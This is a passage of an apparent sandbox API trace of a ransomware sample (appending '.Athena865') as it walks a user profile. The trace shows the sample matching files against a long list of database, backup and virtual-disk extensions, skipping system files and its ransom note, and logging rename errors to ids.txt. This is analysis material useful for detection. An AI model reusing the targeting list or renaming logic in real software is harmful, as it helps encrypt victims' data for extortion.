(lpString="sqlite3") returned 7 [0049.441] lstrcmpiW (lpString1="at.LOG1", lpString2="sqlite3") returned -1 [0049.441] lstrlenW (lpString="sqlitedb") returned 8 [0049.441] lstrcmpiW (lpString1="dat.LOG1", lpString2="sqlitedb") returned -1 [0049.441] lstrlenW (lpString="xml") returned 3 [0049.441] lstrcmpiW (lpString1="OG1", lpString2="xml") returned -1 [0049.441] lstrlenW (lpString="$er") returned 3 [0049.441] lstrcmpiW (lpString1="OG1", lpString2="$er") returned 1 [0049.441] lstrlenW (lpString="4dd") returned 3 [0049.441] lstrcmpiW (lpString1="OG1", lpString2="4dd") returned 1 [0049.441] lstrlenW (lpString="4dl") returned 3 [0049.441] lstrcmpiW (lpString1="OG1", lpString2="4dl") returned 1 [0049.441] lstrlenW (lpString="^^^") returned 3 [0049.441] lstrcmpiW (lpString1="OG1", lpString2="^^^") returned 1 [0049.441] lstrlenW (lpString="abs") returned 3 [0049.441] lstrcmpiW (lpString1="OG1", lpString2="abs") returned 1 [0049.441] lstrlenW (lpString="abx") returned 3 [0049.441] lstrcmpiW (lpString1="OG1", lpString2="abx") returned 1 [0049.442] lstrlenW (lpString="accdb") returned 5 [0049.442] lstrcmpiW (lpString1=".LOG1", lpString2="accdb") returned -1 [0049.442] lstrlenW (lpString="accdc") returned 5 [0049.442] lstrcmpiW (lpString1=".LOG1", lpString2="accdc") returned -1 [0049.442] lstrlenW (lpString="accde") returned 5 [0049.442] lstrcmpiW (lpString1=".LOG1", lpString2="accde") returned -1 [0049.442] lstrlenW (lpString="accdr") returned 5 [0049.442] lstrcmpiW (lpString1=".LOG1", lpString2="accdr") returned -1 [0049.442] lstrlenW (lpString="accdt") returned 5 [0049.442] lstrcmpiW (lpString1=".LOG1", lpString2="accdt") returned -1 [0049.442] lstrlenW (lpString="accdw") returned 5 [0049.442] lstrcmpiW (lpString1=".LOG1", lpString2="accdw") returned -1 [0049.442] lstrlenW (lpString="accft") returned 5 [0049.442] lstrcmpiW (lpString1=".LOG1", lpString2="accft") returned -1 [0049.442] lstrlenW (lpString="adb") returned 3 [0049.442] lstrcmpiW (lpString1="OG1", lpString2="adb") returned 1 [0049.442] lstrlenW (lpString="adb") returned 3 [0049.442] lstrcmpiW (lpString1="OG1", lpString2="adb") returned 1 [0049.442] lstrlenW (lpString="ade") returned 3 [0049.442] lstrcmpiW (lpString1="OG1", lpString2="ade") returned 1 [0049.442] lstrlenW (lpString="adf") returned 3 [0049.442] lstrcmpiW (lpString1="OG1", lpString2="adf") returned 1 [0049.442] lstrlenW (lpString="adn") returned 3 [0049.442] lstrcmpiW (lpString1="OG1", lpString2="adn") returned 1 [0049.442] lstrlenW (lpString="adp") returned 3 [0049.442] lstrcmpiW (lpString1="OG1", lpString2="adp") returned 1 [0049.442] lstrlenW (lpString="alf") returned 3 [0049.442] lstrcmpiW (lpString1="OG1", lpString2="alf") returned 1 [0049.442] lstrlenW (lpString="ask") returned 3 [0049.442] lstrcmpiW (lpString1="OG1", lpString2="ask") returned 1 [0049.442] lstrlenW (lpString="btr") returned 3 [0049.442] lstrcmpiW (lpString1="OG1", lpString2="btr") returned 1 [0049.442] lstrlenW (lpString="cat") returned 3 [0049.442] lstrcmpiW (lpString1="OG1", lpString2="cat") returned 1 [0049.442] lstrlenW (lpString="cdb") returned 3 [0049.442] lstrcmpiW (lpString1="OG1", lpString2="cdb") returned 1 [0049.442] lstrlenW (lpString="ckp") returned 3 [0049.443] lstrcmpiW (lpString1="OG1", lpString2="ckp") returned 1 [0049.443] lstrlenW (lpString="cma") returned 3 [0049.443] lstrcmpiW (lpString1="OG1", lpString2="cma") returned 1 [0049.443] lstrlenW (lpString="cpd") returned 3 [0049.443] lstrcmpiW (lpString1="OG1", lpString2="cpd") returned 1 [0049.443] lstrlenW (lpString="dacpac") returned 6 [0049.443] lstrcmpiW (lpString1="t.LOG1", lpString2="dacpac") returned 1 [0049.443] lstrlenW (lpString="dad") returned 3 [0049.443] lstrcmpiW (lpString1="OG1", lpString2="dad") returned 1 [0049.443] lstrlenW (lpString="dadiagrams") returned 10 [0049.443] lstrcmpiW (lpString1="r.dat.LOG1", lpString2="dadiagrams") returned 1 [0049.443] lstrlenW (lpString="daschema") returned 8 [0049.443] lstrcmpiW (lpString1="dat.LOG1", lpString2="daschema") returned 1 [0049.443] lstrlenW (lpString="db-journal") returned 10 [0049.443] lstrcmpiW (lpString1="r.dat.LOG1", lpString2="db-journal") returned 1 [0049.443] lstrlenW (lpString="db-shm") returned 6 [0049.443] lstrcmpiW (lpString1="t.LOG1", lpString2="db-shm") returned 1 [0049.443] lstrlenW (lpString="db-wal") returned 6 [0049.443] lstrcmpiW (lpString1="t.LOG1", lpString2="db-wal") returned 1 [0049.443] lstrlenW (lpString="dbc") returned 3 [0049.443] lstrcmpiW (lpString1="OG1", lpString2="dbc") returned 1 [0049.443] lstrlenW (lpString="dbs") returned 3 [0049.443] lstrcmpiW (lpString1="OG1", lpString2="dbs") returned 1 [0049.443] lstrlenW (lpString="dbt") returned 3 [0049.443] lstrcmpiW (lpString1="OG1", lpString2="dbt") returned 1 [0049.443] lstrlenW (lpString="dbv") returned 3 [0049.443] lstrcmpiW (lpString1="OG1", lpString2="dbv") returned 1 [0049.443] lstrlenW (lpString="dbx") returned 3 [0049.443] lstrcmpiW (lpString1="OG1", lpString2="dbx") returned 1 [0049.443] lstrlenW (lpString="dcb") returned 3 [0049.443] lstrcmpiW (lpString1="OG1", lpString2="dcb") returned 1 [0049.443] lstrlenW (lpString="dct") returned 3 [0049.443] lstrcmpiW (lpString1="OG1", lpString2="dct") returned 1 [0049.444] lstrlenW (lpString="dcx") returned 3 [0049.444] lstrcmpiW (lpString1="OG1", lpString2="dcx") returned 1 [0049.444] lstrlenW (lpString="ddl") returned 3 [0049.444] lstrcmpiW (lpString1="OG1", lpString2="ddl") returned 1 [0049.444] lstrlenW (lpString="dlis") returned 4 [0049.444] lstrcmpiW (lpString1="LOG1", lpString2="dlis") returned 1 [0049.444] lstrlenW (lpString="dp1") returned 3 [0049.444] lstrcmpiW (lpString1="OG1", lpString2="dp1") returned 1 [0049.444] lstrlenW (lpString="dqy") returned 3 [0049.444] lstrcmpiW (lpString1="OG1", lpString2="dqy") returned 1 [0049.444] lstrlenW (lpString="dsk") returned 3 [0049.444] lstrcmpiW (lpString1="OG1", lpString2="dsk") returned 1 [0049.444] lstrlenW (lpString="dsn") returned 3 [0049.444] lstrcmpiW (lpString1="OG1", lpString2="dsn") returned 1 [0049.444] lstrlenW (lpString="dtsx") returned 4 [0049.444] lstrcmpiW (lpString1="LOG1", lpString2="dtsx") returned 1 [0049.444] lstrlenW (lpString="dxl") returned 3 [0049.444] lstrcmpiW (lpString1="OG1", lpString2="dxl") returned 1 [0049.444] lstrlenW (lpString="eco") returned 3 [0049.444] lstrcmpiW (lpString1="OG1", lpString2="eco") returned 1 [0049.444] lstrlenW (lpString="ecx") returned 3 [0049.444] lstrcmpiW (lpString1="OG1", lpString2="ecx") returned 1 [0049.444] lstrlenW (lpString="edb") returned 3 [0049.444] lstrcmpiW (lpString1="OG1", lpString2="edb") returned 1 [0049.444] lstrlenW (lpString="epim") returned 4 [0049.444] lstrcmpiW (lpString1="LOG1", lpString2="epim") returned 1 [0049.444] lstrlenW (lpString="fcd") returned 3 [0049.444] lstrcmpiW (lpString1="OG1", lpString2="fcd") returned 1 [0049.444] lstrlenW (lpString="fdb") returned 3 [0049.444] lstrcmpiW (lpString1="OG1", lpString2="fdb") returned 1 [0049.444] lstrlenW (lpString="fic") returned 3 [0049.444] lstrcmpiW (lpString1="OG1", lpString2="fic") returned 1 [0049.444] lstrlenW (lpString="flexolibrary") returned 12 [0049.444] lstrcmpiW (lpString1="ser.dat.LOG1", lpString2="flexolibrary") returned 1 [0049.444] lstrlenW (lpString="fm5") returned 3 [0049.444] lstrcmpiW (lpString1="OG1", lpString2="fm5") returned 1 [0049.445] lstrlenW (lpString="fmp") returned 3 [0049.445] lstrcmpiW (lpString1="OG1", lpString2="fmp") returned 1 [0049.445] lstrlenW (lpString="fmp12") returned 5 [0049.445] lstrcmpiW (lpString1=".LOG1", lpString2="fmp12") returned -1 [0049.445] lstrlenW (lpString="fmpsl") returned 5 [0049.445] lstrcmpiW (lpString1=".LOG1", lpString2="fmpsl") returned -1 [0049.445] lstrlenW (lpString="fol") returned 3 [0049.445] lstrcmpiW (lpString1="OG1", lpString2="fol") returned 1 [0049.445] lstrlenW (lpString="fp3") returned 3 [0049.445] lstrcmpiW (lpString1="OG1", lpString2="fp3") returned 1 [0049.445] lstrlenW (lpString="fp4") returned 3 [0049.445] lstrcmpiW (lpString1="OG1", lpString2="fp4") returned 1 [0049.445] lstrlenW (lpString="fp5") returned 3 [0049.445] lstrcmpiW (lpString1="OG1", lpString2="fp5") returned 1 [0049.445] lstrlenW (lpString="fp7") returned 3 [0049.445] lstrcmpiW (lpString1="OG1", lpString2="fp7") returned 1 [0049.445] lstrlenW (lpString="fpt") returned 3 [0049.445] lstrcmpiW (lpString1="OG1", lpString2="fpt") returned 1 [0049.445] lstrlenW (lpString="frm") returned 3 [0049.445] lstrcmpiW (lpString1="OG1", lpString2="frm") returned 1 [0049.445] lstrlenW (lpString="gdb") returned 3 [0049.445] lstrcmpiW (lpString1="OG1", lpString2="gdb") returned 1 [0049.445] lstrlenW (lpString="gdb") returned 3 [0049.445] lstrcmpiW (lpString1="OG1", lpString2="gdb") returned 1 [0049.445] lstrlenW (lpString="grdb") returned 4 [0049.445] lstrcmpiW (lpString1="LOG1", lpString2="grdb") returned 1 [0049.445] lstrlenW (lpString="gwi") returned 3 [0049.445] lstrcmpiW (lpString1="OG1", lpString2="gwi") returned 1 [0049.445] lstrlenW (lpString="hdb") returned 3 [0049.445] lstrcmpiW (lpString1="OG1", lpString2="hdb") returned 1 [0049.445] lstrlenW (lpString="his") returned 3 [0049.445] lstrcmpiW (lpString1="OG1", lpString2="his") returned 1 [0049.445] lstrlenW (lpString="ib") returned 2 [0049.445] lstrcmpiW (lpString1="G1", lpString2="ib") returned -1 [0049.445] lstrlenW (lpString="idb") returned 3 [0049.445] lstrcmpiW (lpString1="OG1", lpString2="idb") returned 1 [0049.445] lstrlenW (lpString="ihx") returned 3 [0049.446] lstrcmpiW (lpString1="OG1", lpString2="ihx") returned 1 [0049.446] lstrlenW (lpString="itdb") returned 4 [0049.446] lstrcmpiW (lpString1="LOG1", lpString2="itdb") returned 1 [0049.446] lstrlenW (lpString="itw") returned 3 [0049.446] lstrcmpiW (lpString1="OG1", lpString2="itw") returned 1 [0049.446] lstrlenW (lpString="jet") returned 3 [0049.446] lstrcmpiW (lpString1="OG1", lpString2="jet") returned 1 [0049.446] lstrlenW (lpString="jtx") returned 3 [0049.446] lstrcmpiW (lpString1="OG1", lpString2="jtx") returned 1 [0049.446] lstrlenW (lpString="kdb") returned 3 [0049.446] lstrcmpiW (lpString1="OG1", lpString2="kdb") returned 1 [0049.446] lstrlenW (lpString="kexi") returned 4 [0049.446] lstrcmpiW (lpString1="LOG1", lpString2="kexi") returned 1 [0049.446] lstrlenW (lpString="kexic") returned 5 [0049.446] lstrcmpiW (lpString1=".LOG1", lpString2="kexic") returned -1 [0049.446] lstrlenW (lpString="kexis") returned 5 [0049.446] lstrcmpiW (lpString1=".LOG1", lpString2="kexis") returned -1 [0049.446] lstrlenW (lpString="lgc") returned 3 [0049.446] lstrcmpiW (lpString1="OG1", lpString2="lgc") returned 1 [0049.446] lstrlenW (lpString="lwx") returned 3 [0049.446] lstrcmpiW (lpString1="OG1", lpString2="lwx") returned 1 [0049.446] lstrlenW (lpString="maf") returned 3 [0049.446] lstrcmpiW (lpString1="OG1", lpString2="maf") returned 1 [0049.446] lstrlenW (lpString="maq") returned 3 [0049.446] lstrcmpiW (lpString1="OG1", lpString2="maq") returned 1 [0049.446] lstrlenW (lpString="mar") returned 3 [0049.446] lstrcmpiW (lpString1="OG1", lpString2="mar") returned 1 [0049.446] lstrlenW (lpString="marshal") returned 7 [0049.446] lstrcmpiW (lpString1="at.LOG1", lpString2="marshal") returned -1 [0049.446] lstrlenW (lpString="mas") returned 3 [0049.446] lstrcmpiW (lpString1="OG1", lpString2="mas") returned 1 [0049.446] lstrlenW (lpString="mav") returned 3 [0049.446] lstrcmpiW (lpString1="OG1", lpString2="mav") returned 1 [0049.446] lstrlenW (lpString="maw") returned 3 [0049.446] lstrcmpiW (lpString1="OG1", lpString2="maw") returned 1 [0049.447] lstrlenW (lpString="mdbhtml") returned 7 [0049.447] lstrcmpiW (lpString1="at.LOG1", lpString2="mdbhtml") returned -1 [0049.447] lstrlenW (lpString="mdn") returned 3 [0049.447] lstrcmpiW (lpString1="OG1", lpString2="mdn") returned 1 [0049.447] lstrlenW (lpString="mdt") returned 3 [0049.447] lstrcmpiW (lpString1="OG1", lpString2="mdt") returned 1 [0049.447] lstrlenW (lpString="mfd") returned 3 [0049.447] lstrcmpiW (lpString1="OG1", lpString2="mfd") returned 1 [0049.447] lstrlenW (lpString="mpd") returned 3 [0049.447] lstrcmpiW (lpString1="OG1", lpString2="mpd") returned 1 [0049.447] lstrlenW (lpString="mrg") returned 3 [0049.447] lstrcmpiW (lpString1="OG1", lpString2="mrg") returned 1 [0049.447] lstrlenW (lpString="mud") returned 3 [0049.447] lstrcmpiW (lpString1="OG1", lpString2="mud") returned 1 [0049.447] lstrlenW (lpString="mwb") returned 3 [0049.447] lstrcmpiW (lpString1="OG1", lpString2="mwb") returned 1 [0049.447] lstrlenW (lpString="myd") returned 3 [0049.447] lstrcmpiW (lpString1="OG1", lpString2="myd") returned 1 [0049.447] lstrlenW (lpString="ndf") returned 3 [0049.447] lstrcmpiW (lpString1="OG1", lpString2="ndf") returned 1 [0049.447] lstrlenW (lpString="nnt") returned 3 [0049.447] lstrcmpiW (lpString1="OG1", lpString2="nnt") returned 1 [0049.447] lstrlenW (lpString="nrmlib") returned 6 [0049.447] lstrcmpiW (lpString1="t.LOG1", lpString2="nrmlib") returned 1 [0049.447] lstrlenW (lpString="ns2") returned 3 [0049.447] lstrcmpiW (lpString1="OG1", lpString2="ns2") returned 1 [0049.447] lstrlenW (lpString="ns3") returned 3 [0049.447] lstrcmpiW (lpString1="OG1", lpString2="ns3") returned 1 [0049.447] lstrlenW (lpString="ns4") returned 3 [0049.447] lstrcmpiW (lpString1="OG1", lpString2="ns4") returned 1 [0049.447] lstrlenW (lpString="nsf") returned 3 [0049.447] lstrcmpiW (lpString1="OG1", lpString2="nsf") returned 1 [0049.447] lstrlenW (lpString="nv") returned 2 [0049.448] lstrcmpiW (lpString1="G1", lpString2="nv") returned -1 [0049.448] lstrlenW (lpString="nv2") returned 3 [0049.448] lstrcmpiW (lpString1="OG1", lpString2="nv2") returned 1 [0049.448] lstrlenW (lpString="nwdb") returned 4 [0049.448] lstrcmpiW (lpString1="LOG1", lpString2="nwdb") returned -1 [0049.448] lstrlenW (lpString="nyf") returned 3 [0049.448] lstrcmpiW (lpString1="OG1", lpString2="nyf") returned 1 [0049.448] lstrlenW (lpString="odb") returned 3 [0049.448] lstrcmpiW (lpString1="OG1", lpString2="odb") returned 1 [0049.448] lstrlenW (lpString="odb") returned 3 [0049.448] lstrcmpiW (lpString1="OG1", lpString2="odb") returned 1 [0049.448] lstrlenW (lpString="oqy") returned 3 [0049.448] lstrcmpiW (lpString1="OG1", lpString2="oqy") returned -1 [0049.448] lstrlenW (lpString="ora") returned 3 [0049.448] lstrcmpiW (lpString1="OG1", lpString2="ora") returned -1 [0049.448] lstrlenW (lpString="orx") returned 3 [0049.448] lstrcmpiW (lpString1="OG1", lpString2="orx") returned -1 [0049.448] lstrlenW (lpString="owc") returned 3 [0049.448] lstrcmpiW (lpString1="OG1", lpString2="owc") returned -1 [0049.448] lstrlenW (lpString="p96") returned 3 [0049.448] lstrcmpiW (lpString1="OG1", lpString2="p96") returned -1 [0049.448] lstrlenW (lpString="p97") returned 3 [0049.448] lstrcmpiW (lpString1="OG1", lpString2="p97") returned -1 [0049.448] lstrlenW (lpString="pan") returned 3 [0049.448] lstrcmpiW (lpString1="OG1", lpString2="pan") returned -1 [0049.448] lstrlenW (lpString="pdb") returned 3 [0049.448] lstrcmpiW (lpString1="OG1", lpString2="pdb") returned -1 [0049.448] lstrlenW (lpString="pdm") returned 3 [0049.448] lstrcmpiW (lpString1="OG1", lpString2="pdm") returned -1 [0049.448] lstrlenW (lpString="pnz") returned 3 [0049.448] lstrcmpiW (lpString1="OG1", lpString2="pnz") returned -1 [0049.448] lstrlenW (lpString="qry") returned 3 [0049.448] lstrcmpiW (lpString1="OG1", lpString2="qry") returned -1 [0049.448] lstrlenW (lpString="qvd") returned 3 [0049.448] lstrcmpiW (lpString1="OG1", lpString2="qvd") returned -1 [0049.448] lstrlenW (lpString="rbf") returned 3 [0049.449] lstrcmpiW (lpString1="OG1", lpString2="rbf") returned -1 [0049.449] lstrlenW (lpString="rctd") returned 4 [0049.449] lstrcmpiW (lpString1="LOG1", lpString2="rctd") returned -1 [0049.449] lstrlenW (lpString="rod") returned 3 [0049.449] lstrcmpiW (lpString1="OG1", lpString2="rod") returned -1 [0049.449] lstrlenW (lpString="rodx") returned 4 [0049.449] lstrcmpiW (lpString1="LOG1", lpString2="rodx") returned -1 [0049.449] lstrlenW (lpString="rpd") returned 3 [0049.449] lstrcmpiW (lpString1="OG1", lpString2="rpd") returned -1 [0049.449] lstrlenW (lpString="rsd") returned 3 [0049.449] lstrcmpiW (lpString1="OG1", lpString2="rsd") returned -1 [0049.449] lstrlenW (lpString="sas7bdat") returned 8 [0049.449] lstrcmpiW (lpString1="dat.LOG1", lpString2="sas7bdat") returned -1 [0049.449] lstrlenW (lpString="sbf") returned 3 [0049.449] lstrcmpiW (lpString1="OG1", lpString2="sbf") returned -1 [0049.449] lstrlenW (lpString="scx") returned 3 [0049.449] lstrcmpiW (lpString1="OG1", lpString2="scx") returned -1 [0049.449] lstrlenW (lpString="sdb") returned 3 [0049.449] lstrcmpiW (lpString1="OG1", lpString2="sdb") returned -1 [0049.449] lstrlenW (lpString="sdc") returned 3 [0049.449] lstrcmpiW (lpString1="OG1", lpString2="sdc") returned -1 [0049.449] lstrlenW (lpString="sdf") returned 3 [0049.449] lstrcmpiW (lpString1="OG1", lpString2="sdf") returned -1 [0049.449] lstrlenW (lpString="sis") returned 3 [0049.449] lstrcmpiW (lpString1="OG1", lpString2="sis") returned -1 [0049.449] lstrlenW (lpString="spq") returned 3 [0049.449] lstrcmpiW (lpString1="OG1", lpString2="spq") returned -1 [0049.449] lstrlenW (lpString="te") returned 2 [0049.449] lstrcmpiW (lpString1="G1", lpString2="te") returned -1 [0049.449] lstrlenW (lpString="teacher") returned 7 [0049.449] lstrcmpiW (lpString1="at.LOG1", lpString2="teacher") returned -1 [0049.449] lstrlenW (lpString="tmd") returned 3 [0049.449] lstrcmpiW (lpString1="OG1", lpString2="tmd") returned -1 [0049.449] lstrlenW (lpString="tps") returned 3 [0049.449] lstrcmpiW (lpString1="OG1", lpString2="tps") returned -1 [0049.449] lstrlenW (lpString="trc") returned 3 [0049.449] lstrcmpiW (lpString1="OG1", lpString2="trc") returned -1 [0049.450] lstrlenW (lpString="trc") returned 3 [0049.450] lstrcmpiW (lpString1="OG1", lpString2="trc") returned -1 [0049.450] lstrlenW (lpString="trm") returned 3 [0049.450] lstrcmpiW (lpString1="OG1", lpString2="trm") returned -1 [0049.450] lstrlenW (lpString="udb") returned 3 [0049.450] lstrcmpiW (lpString1="OG1", lpString2="udb") returned -1 [0049.450] lstrlenW (lpString="udl") returned 3 [0049.450] lstrcmpiW (lpString1="OG1", lpString2="udl") returned -1 [0049.450] lstrlenW (lpString="usr") returned 3 [0049.450] lstrcmpiW (lpString1="OG1", lpString2="usr") returned -1 [0049.450] lstrlenW (lpString="v12") returned 3 [0049.450] lstrcmpiW (lpString1="OG1", lpString2="v12") returned -1 [0049.450] lstrlenW (lpString="vis") returned 3 [0049.450] lstrcmpiW (lpString1="OG1", lpString2="vis") returned -1 [0049.450] lstrlenW (lpString="vpd") returned 3 [0049.450] lstrcmpiW (lpString1="OG1", lpString2="vpd") returned -1 [0049.450] lstrlenW (lpString="vvv") returned 3 [0049.450] lstrcmpiW (lpString1="OG1", lpString2="vvv") returned -1 [0049.450] lstrlenW (lpString="wdb") returned 3 [0049.450] lstrcmpiW (lpString1="OG1", lpString2="wdb") returned -1 [0049.450] lstrlenW (lpString="wmdb") returned 4 [0049.450] lstrcmpiW (lpString1="LOG1", lpString2="wmdb") returned -1 [0049.450] lstrlenW (lpString="wrk") returned 3 [0049.450] lstrcmpiW (lpString1="OG1", lpString2="wrk") returned -1 [0049.450] lstrlenW (lpString="xdb") returned 3 [0049.450] lstrcmpiW (lpString1="OG1", lpString2="xdb") returned -1 [0049.450] lstrlenW (lpString="xld") returned 3 [0049.450] lstrcmpiW (lpString1="OG1", lpString2="xld") returned -1 [0049.450] lstrlenW (lpString="xmlff") returned 5 [0049.450] lstrcmpiW (lpString1=".LOG1", lpString2="xmlff") returned -1 [0049.450] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1.Athena865") returned 55 [0049.450] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat.log1"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1.Athena865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat.log1.athena865"), dwFlags=0x1) returned 0 [0049.451] GetLastError () returned 0x20 [0049.451] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1 MoveFileEx error 32\r\n") returned 75 [0049.451] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1 MoveFileEx error 32\r\n") returned 75 [0049.451] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0049.451] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1aed [0049.451] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x4b, lpOverlapped=0x0) returned 1 [0049.451] CloseHandle (hObject=0x17c) returned 1 [0049.451] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0049.451] CloseHandle (hObject=0x0) returned 0 [0049.451] CloseHandle (hObject=0x0) returned 0 [0049.451] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0049.451] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.451] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.451] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".") returned 1 [0049.451] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="..") returned 1 [0049.451] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="windows") returned -1 [0049.451] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="bootmgr") returned 1 [0049.451] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="temp") returned -1 [0049.451] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="pagefile.sys") returned -1 [0049.451] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="boot") returned 1 [0049.451] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="ids.txt") returned 1 [0049.452] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="ntuser.dat") returned 1 [0049.452] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="perflogs") returned -1 [0049.452] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="MSBuild") returned 1 [0049.452] lstrlenW (lpString="ntuser.dat.LOG2") returned 15 [0049.452] lstrcpyW (in: lpString1=0x241e884, lpString2="ntuser.dat.LOG2" | out: lpString1="ntuser.dat.LOG2") returned="ntuser.dat.LOG2" [0049.452] lstrlenW (lpString="ntuser.dat.LOG2") returned 15 [0049.452] lstrlenW (lpString="Athena865") returned 9 [0049.452] lstrcmpiW (lpString1=".dat.LOG2", lpString2="Athena865") returned -1 [0049.452] lstrlenW (lpString=".dll") returned 4 [0049.452] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".dll") returned 1 [0049.452] lstrlenW (lpString=".lnk") returned 4 [0049.452] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".lnk") returned 1 [0049.452] lstrlenW (lpString=".ini") returned 4 [0049.452] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".ini") returned 1 [0049.452] lstrlenW (lpString=".sys") returned 4 [0049.452] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".sys") returned 1 [0049.452] lstrlenW (lpString="ntuser.dat.LOG2") returned 15 [0049.452] lstrlenW (lpString="bak") returned 3 [0049.452] lstrcmpiW (lpString1="OG2", lpString2="bak") returned 1 [0049.452] lstrlenW (lpString="ba_") returned 3 [0049.452] lstrcmpiW (lpString1="OG2", lpString2="ba_") returned 1 [0049.452] lstrlenW (lpString="dbb") returned 3 [0049.452] lstrcmpiW (lpString1="OG2", lpString2="dbb") returned 1 [0049.452] lstrlenW (lpString="vmdk") returned 4 [0049.452] lstrcmpiW (lpString1="LOG2", lpString2="vmdk") returned -1 [0049.452] lstrlenW (lpString="rar") returned 3 [0049.452] lstrcmpiW (lpString1="OG2", lpString2="rar") returned -1 [0049.452] lstrlenW (lpString="zip") returned 3 [0049.452] lstrcmpiW (lpString1="OG2", lpString2="zip") returned -1 [0049.452] lstrlenW (lpString="tgz") returned 3 [0049.452] lstrcmpiW (lpString1="OG2", lpString2="tgz") returned -1 [0049.452] lstrlenW (lpString="vbox") returned 4 [0049.452] lstrcmpiW (lpString1="LOG2", lpString2="vbox") returned -1 [0049.452] lstrlenW (lpString="vdi") returned 3 [0049.452] lstrcmpiW (lpString1="OG2", lpString2="vdi") returned -1 [0049.453] lstrlenW (lpString="vhd") returned 3 [0049.453] lstrcmpiW (lpString1="OG2", lpString2="vhd") returned -1 [0049.453] lstrlenW (lpString="vhdx") returned 4 [0049.453] lstrcmpiW (lpString1="LOG2", lpString2="vhdx") returned -1 [0049.453] lstrlenW (lpString="avhd") returned 4 [0049.453] lstrcmpiW (lpString1="LOG2", lpString2="avhd") returned 1 [0049.453] lstrlenW (lpString="db") returned 2 [0049.453] lstrcmpiW (lpString1="G2", lpString2="db") returned 1 [0049.453] lstrlenW (lpString="db2") returned 3 [0049.453] lstrcmpiW (lpString1="OG2", lpString2="db2") returned 1 [0049.453] lstrlenW (lpString="db3") returned 3 [0049.453] lstrcmpiW (lpString1="OG2", lpString2="db3") returned 1 [0049.453] lstrlenW (lpString="dbf") returned 3 [0049.453] lstrcmpiW (lpString1="OG2", lpString2="dbf") returned 1 [0049.453] lstrlenW (lpString="mdf") returned 3 [0049.453] lstrcmpiW (lpString1="OG2", lpString2="mdf") returned 1 [0049.453] lstrlenW (lpString="mdb") returned 3 [0049.453] lstrcmpiW (lpString1="OG2", lpString2="mdb") returned 1 [0049.453] lstrlenW (lpString="sql") returned 3 [0049.453] lstrcmpiW (lpString1="OG2", lpString2="sql") returned -1 [0049.453] lstrlenW (lpString="sqlite") returned 6 [0049.453] lstrcmpiW (lpString1="t.LOG2", lpString2="sqlite") returned 1 [0049.453] lstrlenW (lpString="sqlite3") returned 7 [0049.453] lstrcmpiW (lpString1="at.LOG2", lpString2="sqlite3") returned -1 [0049.453] lstrlenW (lpString="sqlitedb") returned 8 [0049.453] lstrcmpiW (lpString1="dat.LOG2", lpString2="sqlitedb") returned -1 [0049.453] lstrlenW (lpString="xml") returned 3 [0049.453] lstrcmpiW (lpString1="OG2", lpString2="xml") returned -1 [0049.453] lstrlenW (lpString="$er") returned 3 [0049.453] lstrcmpiW (lpString1="OG2", lpString2="$er") returned 1 [0049.453] lstrlenW (lpString="4dd") returned 3 [0049.453] lstrcmpiW (lpString1="OG2", lpString2="4dd") returned 1 [0049.453] lstrlenW (lpString="4dl") returned 3 [0049.453] lstrcmpiW (lpString1="OG2", lpString2="4dl") returned 1 [0049.453] lstrlenW (lpString="^^^") returned 3 [0049.453] lstrcmpiW (lpString1="OG2", 